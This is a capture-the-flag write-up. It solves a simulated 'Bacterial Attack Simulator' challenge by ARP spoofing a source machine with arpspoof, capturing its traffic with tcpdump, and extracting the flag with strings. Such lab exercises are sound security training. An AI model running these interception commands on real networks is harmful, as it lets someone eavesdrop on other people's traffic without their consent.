back to home

GLASSHEADS, pt. 4 Challenge #2

The Setup

Help Lobo understand how Lulz' bacterial MITM attack works to counter it. Replicate it here.

Use the command below to access a simulated network environment with machines. One of them is sending flag to the other. See if you can intercept it.

We are also given an SSH command.

The Man in the Middle

We connect to the spawned network over ssh:

❯ ssh -p 7001 ctf-[hash-redacted]@ssh.dyn.mctf.io

which drops us into a "Bacterial Attack Simulator":

O---o                                       O---o
 O-o                                         O-o 
  O            INDIGO INSTITUTE               O  
 o-O                                         o-O 
o---O      Bacterial Attack Simulator       o---O
O---o      ^^^^^^^^^^^^^^^^^^^^^^^^^^       O---o
 O-o                                         O-o 
  O     Source:           Target:             O  
 o-O     192.168.0.145     192.168.0.8       o-O 
o---O                                       o---O
O---o                                       O---o
 O-o              YOUR GOAL:                 O-o 
  O                                           O  
 o-O      Capture the traffic flowing        o-O 
o---O      from the source to the           o---O
 O-o       target system!                    O-o 
  O                          Good luck!       O  
 o-O                                         o-O 
o---O                                       o---O
root@indigo:~# 

The goal seems to be capturing the traffic flowing from 192.168.0.145 (source) to 192.168.0.8 (target). Since we sit on the same network, we can ARP spoof our way into the middle of that conversation and sniff it.

Open a tmux session. In one pane, poison the source's ARP table so its traffic to the target flows through us:

arpspoof -t 192.168.0.145 192.168.0.8

In another pane, capture the source's traffic to a file:

tcpdump host 192.168.0.145 -w capture.pcap

Then pull the readable strings out of the capture:

strings capture.pcap

Nice, the flag is in there!